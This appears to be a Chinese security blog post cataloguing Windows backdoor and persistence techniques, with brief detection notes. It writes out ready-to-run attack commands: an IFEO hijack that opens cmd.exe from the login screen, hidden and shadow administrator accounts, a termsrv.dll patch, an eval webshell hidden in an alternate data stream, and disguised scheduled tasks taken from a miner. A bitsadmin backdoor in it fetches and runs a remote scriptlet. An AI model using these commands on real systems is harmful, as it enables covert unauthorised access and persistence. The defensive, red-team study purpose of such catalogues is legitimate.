windows 后门 taro Posted on Mar 22 2021 windows Backdoor 入侵检测 # 系统工具替换后门 ## Image 劫持辅助工具管理器 映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序 ```bat REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f ``` > [隐蔽后门——Image File Execution Options新玩法](https://www.anquanke.com/post/id/151425) > [打造不一样的Shfit映像劫持后门](https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd) ### 检测及查杀 检查 `HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options` 注册表 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths` # 账号 ## 隐藏账户 用户名以`$`结尾 添加后,该帐户可在一定条件下隐藏,输入net user无法获取 但是,在控制面板能够发现该帐户 ```bat net user test$ 123456 /add net localgroup administrators test$ /add ``` ## 影子账户 1. 创建隐藏用户 ```bat net user defaultuser0$ somepasswordhere /add /y net localgroup administrators defaultuser0$ /add net localgroup "remote desktop users" defaultuser0$ /add ``` 2.之后将administrator用户对应的Users中的F值复制替换后门账户的F值 3.导出User下面的后门账户以及name下面的后门账户两个文件。 4.通过命令删除刚才的后门用户 ```bat net user defaultuser0$ /del ``` 5.通过注册表导入刚才保存的两个注册表 > [渗透技巧——Windows系统的帐户隐藏](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/) > [V值含义](https://acad.ro/sectii2002/proceedings/doc2013-3s/05-OPREA.pdf) > [替换RID](https://stealthbits.com/blog/rid-hijacking-when-guests-become-admins/) ### 检测方法 - net user 结果和 注册表中不一致 - `HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users`存在F键值相同的账户 ## Windows系统远程桌面的多用户登录 >[Windows系统远程桌面的多用户登录](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/) ### mimikatz ``` privilege::debug ts::multirdp ``` [mimikazt实现原理](https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_ts.c) 修改内存,重启后失效 ### 修改termsrv.dll Hex Editor 打开`c:\windows\system32\termsrv.dll` 查看十六进制数据`39873C0600000F84` 从`0x0001738A`处开始,选中12字节,替换为`C7873C060000FFFFFF7F9090` 保存dll > 需要先停止远程桌面服务才能替换termsrv.dll 替换termsrv.dll后,重新开启服务TermService ```bat sc qc TermService net stop TermService /y del c:\windows\system32\termsrv.dll ;替换新termsrv.dll net start TermService ;远程连接 ``` #### 检测方法 检测`c:\windows\system32\termsrv.dll`文件 ### rdpwrap > [rdpwrap](https://github.com/stascorp/rdpwrap) 释放`rdpwrap.dll`和`rdpwrap.ini`至System32文件夹 `rdpwrap.dll`会被加载到同`termsrv.dll`相同的进程 此时,能够使用不同用户进行远程连接 #### 检测方法 检测`c:\windows\system32\rdpwrap.dll`文件 检测`c:\windows\system32\rdpwrap.ini`文件 # 明文账号记录 > [Persistence – Security Support Provider](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/) ## 通过CredSSP导出用户的明文口令 > [通过CredSSP导出用户的明文口令](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87CredSSP%E5%AF%BC%E5%87%BA%E7%94%A8%E6%88%B7%E7%9A%84%E6%98%8E%E6%96%87%E5%8F%A3%E4%BB%A4/) >CredSSP 全称Credential Security Support Provider protocol CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器 CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting) CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM 通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据 组策略位置: `HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation` - Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据 - Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据 ### 检测思路 查询组策略配置 ```cmd reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation ``` ## 从远程桌面客户端提取明文凭据 1.使用键盘记录程序,记录mstsc.exe在启动过程中用户输入的口令 2.在mstsc.exe启动时,读取mstsc.exe的内存数据,提取出用户输入的口令 RdpThief是第二种实现思路,使用Detours库hook系统API,使用API monitor监控系统的API调用,找到mstsc.exe在内存中存储明文口令的位置,代码简洁有效。 > [从远程桌面客户端提取明文凭据](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8E%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%8F%90%E5%8F%96%E6%98%8E%E6%96%87%E5%87%AD%E6%8D%AE/) #### 检测思路 怎样检测**使用Detours库hook系统API**??? # 文件隐藏 ## attrib命令隐藏 ```bat attrib +r +s +h webshell.php ``` ## 检测思路 ```bat attrib ``` 查看敏感目录下是否有隐藏文件 ## 使用ADS流隐藏webshell ```bat echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg ``` > [利用ADS隐藏webshell](https://www.cnblogs.com/xiaozi/p/7610984.html) [Windows ADS在渗透测试中的妙用](https://www.freebuf.com/articles/terminal/195721.html) ### 检测方法 ```bat dir /r ``` 检测时是否能看到ADS文件属性? # 计划任务 ## schtasks和at ```bat #from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12 # Update scheduled Start Task SCHTASKS /Delete /tn "AdobeReaderUpdate" /f SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1" # Update scheduled End Task # SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname" # At command at 1:00AM /Every:Saturday My_BackUp.bat 在每个Saturday的早上1:00点,定时启动My_BackUp.bat批处理文件。 ``` ## 检测方法 - 黑/白名单 - 检测具体执行的程序 # 开机启动项 ```bat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ``` > [invisible Reg Values](https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf) ## 检测方法 - 黑/白名单 - 检测具体执行的程序 # 服务 ```bat sc create [ServerName] binPath= BinaryPathName ``` ## 检测方法 - 黑/白名单 - 检测具体执行的程序 # waitfor.exe > [Use Waitfor.exe to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/) ## 检测方法 后台的可疑进程cmd.exe和powershell.exe,可使用Process Explorer查看其启动参数 # bitsadmin后门 ```bat #创建一个下载任务: bitsadmin /create backdoor #添加文档: bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe #设置下载成功之后要执行的命令: bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll" #执行任务: bitsadmin /Resume backdoo ``` [bitsadmin-backdoor-权限维持后门](https://paper.tuisec.win/detail/77720db7618e92c) ## 检测方法 ```bat bitsadmin /list /verbose ``` # WMI后门 > [Persistence.psm1](https://github.com/PowerShellMafia/PowerSploit/blob/9e771d15bf19ab3c2ac196393c088ecdab6c9a73/Persistence/Persistence.psm1) > [Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf) ## 检测方式 > [如何检测并清除WMI持久性后门](https://xz.aliyun.com/t/2873) # COM劫持 ## 安全检查 > 马特·尼尔森(Matt Nelson)和马修·格雷伯(Matthew Graeber)开发了PowerShell脚本(Get-ScheduledTaskComHandler),该脚本可以检查主机上所有在用户登录时执行并且容易受到COM劫持的预定任务。 > [持久性COM劫持的实现](https://www.4hou.com/posts/Mo51) > [COM劫持学习](https://422926799.github.io/posts/7dc498ec.html) > [打开文件夹就运行?COM劫持利用新姿势](https://www.freebuf.com/articles/system/115241.html) > [利用CLR实现一种无需管理员权限的后门](https://www.4hou.com/technology/6863.html) # meterpreter 权限维持 ## metsvc的后门(服务后门) metsvc 是开机自启动的服务型后门 > [metsvc代码](https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/scripts/meterpreter/metsvc.rb) > [metsvc.cpp](https://github.com/rapid7/metasploit-framework/blob/c0b42ff7a2a1b677aaba6acd7ebeefddcffdf38e/external/source/metsvc/src/metsvc.cpp#L305) ## 检测方式 查看sc 服务列表,黑名单? ## persistence(注册表后门) persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。 [persistence](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/persistence_exe.rb) ## 检测方式 开机启动项 # Empire persistence模块 > [使用说明](https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/) # 进程注入 > [TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS](https://holdmybeersecurity.com/2019/02/27/sysinternals-for-windows-incident-response/) # BDF后门 > [利用BDF向EXE文件植入后门](https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/) > [Kali Linux: Backdoor-factory tool](http://2001586161veronika.blog.binusian.org/2018/05/30/backdoor-factory/) # IIS模块后门 > [手把手带你开发一款 IIS 模块后门](https://forum.90sec.com/t/topic/415) # 域环境后门 > [域内配置ACL后门及检测清理](https://www.freebuf.com/articles/system/189942.html?utm_source=tuicool&utm_medium=referral) > [PasswordchangeNotify](https://github.com/kevien/PasswordchangeNotify) > [域后门相关文章](https://www.anquanke.com/member/127729) ## 检测方式 1、访问编写脚本定时检测注册表路径(HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior),DSRMAdminLogonBehavior这个键值 默认不存在,如果发现存在该键值那么可能已经被攻击者利用了。 2、检测C:\Windows\SYSVOL\sysvol\domain.com\Policies目录以及子目录文件权限,如果某个用户被赋予特殊权限,那么可能是攻击者进行的操作 3、查看域控制器上是否存在特殊权限用户,如下图所示: Laradock 的安装部署 RHEL6修改源